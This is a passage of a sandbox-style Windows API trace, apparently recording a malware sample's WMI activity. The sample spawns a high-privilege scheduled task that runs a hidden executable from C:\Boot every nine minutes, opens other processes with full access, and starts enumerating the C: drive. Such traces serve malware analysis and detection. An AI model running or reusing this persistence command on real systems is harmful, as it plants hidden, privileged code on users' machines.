[0134.175] WbemDefPath:IUnknown:AddRef (This=0x1bc1afe0) returned 0x3 [0134.175] WbemDefPath:IUnknown:Release (This=0x1bc1afe0) returned 0x2 [0134.175] WbemDefPath:IWbemPath:SetText (This=0x1bc1afe0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0134.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0134.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0134.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.175] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0134.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0134.176] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0134.176] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.177] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc227e0) returned 0x0 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc227e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0134.178] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc227e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1b0a0) returned 0x0 [0134.178] WbemDefPath:IUnknown:Release (This=0x1bc227e0) returned 0x0 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1b0a0) returned 0x0 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0134.178] WbemDefPath:IUnknown:AddRef (This=0x1bc1b0a0) returned 0x3 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0134.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc22820) returned 0x0 [0134.178] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22820, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.179] WbemDefPath:IUnknown:Release (This=0x1bc22820) returned 0x3 [0134.179] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0134.179] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0134.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0134.179] WbemDefPath:IUnknown:Release (This=0x1bc1b0a0) returned 0x2 [0134.179] WbemDefPath:IUnknown:Release (This=0x1bc1b0a0) returned 0x1 [0134.179] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0134.179] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0134.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b0a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1b0a0) returned 0x0 [0134.179] WbemDefPath:IUnknown:AddRef (This=0x1bc1b0a0) returned 0x3 [0134.179] WbemDefPath:IUnknown:Release (This=0x1bc1b0a0) returned 0x2 [0134.179] WbemDefPath:IWbemPath:SetText (This=0x1bc1b0a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1afe0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b0a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b0a0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b0a0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0134.179] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc1afe0) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b0a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1b0a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0134.179] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1b0a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0134.180] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1afe0, uIndex=0x0, pszName="root") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1b0a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1b0a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0134.180] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1afe0, uIndex=0x1, pszName="cimv2") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1b0a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1b0a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1afe0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1afe0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1afe0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1afe0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1afe0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1afe0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1afe0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0134.180] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1afe0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0134.181] IWbemServices:GetObject (in: This=0x1bc0c410, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc289d0, ppCallResult=0x0) returned 0x0 [0134.274] IWbemClassObject:GetMethod (in: This=0x1bc289d0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc28d40, ppOutSignature=0x1bb7e690*=0x1bc290b0) returned 0x0 [0134.274] IWbemClassObject:SpawnInstance (in: This=0x1bc28d40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa17d10) returned 0x0 [0134.275] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283f9d8*=0, plFlavor=0x283f9dc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283f9d8*=8, plFlavor=0x283f9dc*=32) returned 0x0 [0134.275] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283f9d8*=8, plFlavor=0x283f9dc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283f9d8*=8, plFlavor=0x283f9dc*=32) returned 0x0 [0134.275] IWbemClassObject:Put (This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0134.275] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fa68*=0, plFlavor=0x283fa6c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fa68*=13, plFlavor=0x283fa6c*=32) returned 0x0 [0134.275] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fa68*=13, plFlavor=0x283fa6c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fa68*=13, plFlavor=0x283fa6c*=32) returned 0x0 [0134.275] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc282f0) returned 0x0 [0134.276] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0134.276] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0134.276] IUnknown:AddRef (This=0x1bc282f0) returned 0x3 [0134.276] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0134.276] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0134.276] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc282f8) returned 0x0 [0134.276] IMarshal:GetUnmarshalClass (in: This=0x1bc282f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0134.276] IUnknown:Release (This=0x1bc282f8) returned 0x3 [0134.276] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0134.277] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0134.277] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0134.277] IUnknown:Release (This=0x1bc282f0) returned 0x2 [0134.277] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0134.277] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0134.277] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0134.277] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0134.277] IUnknown:QueryInterface (in: This=0x1bc282f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0134.277] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0134.277] IUnknown:AddRef (This=0x1bc282f0) returned 0x3 [0134.277] IWbemClassObject:Put (This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc282f0, varVal2=0x0), Type=0) returned 0x0 [0134.277] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ace0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0134.277] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ace0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0134.277] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ace0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.277] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1ac20, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0134.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0134.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ac20, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ace0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0134.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1ace0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0134.278] IWbemServices:ExecMethod (in: This=0x1bc0c410, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa17d10, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17fc0, ppCallResult=0x0) returned 0x0 [0134.541] IWbemClassObject:Get (in: This=0x1aa17fc0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fd80*=0, plFlavor=0x283fd84*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf2c, varVal2=0x0), pType=0x283fd80*=19, plFlavor=0x283fd84*=0) returned 0x0 [0134.542] IWbemClassObject:Get (in: This=0x1aa17fc0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283fd80*=19, plFlavor=0x283fd84*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf2c, varVal2=0x0), pType=0x283fd80*=19, plFlavor=0x283fd84*=0) returned 0x0 [0134.543] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x970) returned 0x34c [0134.543] GetExitCodeProcess (in: hProcess=0x34c, lpExitCode=0x273ae54 | out: lpExitCode=0x273ae54*=0x103) returned 1 [0134.543] CoTaskMemAlloc (cb=0x404) returned 0x1bc3e8d0 [0134.543] QueryFullProcessImageNameA (in: hProcess=0x34c, dwFlags=0x0, lpExeName=0x1bc3e8d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files\\Windows Mail\\necessary.exe", lpdwSize=0x1bb7ed88) returned 1 [0134.544] CoTaskMemFree (pv=0x1bc3e8d0) [0134.547] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb28) returned 0x350 [0134.547] GetExitCodeProcess (in: hProcess=0x350, lpExitCode=0x27393fc | out: lpExitCode=0x27393fc*=0x103) returned 1 [0134.547] CoTaskMemAlloc (cb=0x404) returned 0x1bc3e8d0 [0134.548] QueryFullProcessImageNameA (in: hProcess=0x350, dwFlags=0x0, lpExeName=0x1bc3e8d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Windows Mail\\spgagentservice.exe", lpdwSize=0x1bb7ed88) returned 1 [0134.549] CoTaskMemFree (pv=0x1bc3e8d0) [0134.552] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x870) returned 0x354 [0134.552] GetExitCodeProcess (in: hProcess=0x354, lpExitCode=0x2736064 | out: lpExitCode=0x2736064*=0x103) returned 1 [0134.552] CoTaskMemAlloc (cb=0x404) returned 0x1bc3e8d0 [0134.552] QueryFullProcessImageNameA (in: hProcess=0x354, dwFlags=0x0, lpExeName=0x1bc3e8d0, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Windows Media Player\\operamail.exe", lpdwSize=0x1bb7ed88) returned 1 [0134.553] CoTaskMemFree (pv=0x1bc3e8d0) [0134.556] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0134.556] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0134.556] CoTaskMemFree (pv=0x1a9882a0) [0134.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0134.557] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.557] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d9080 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, 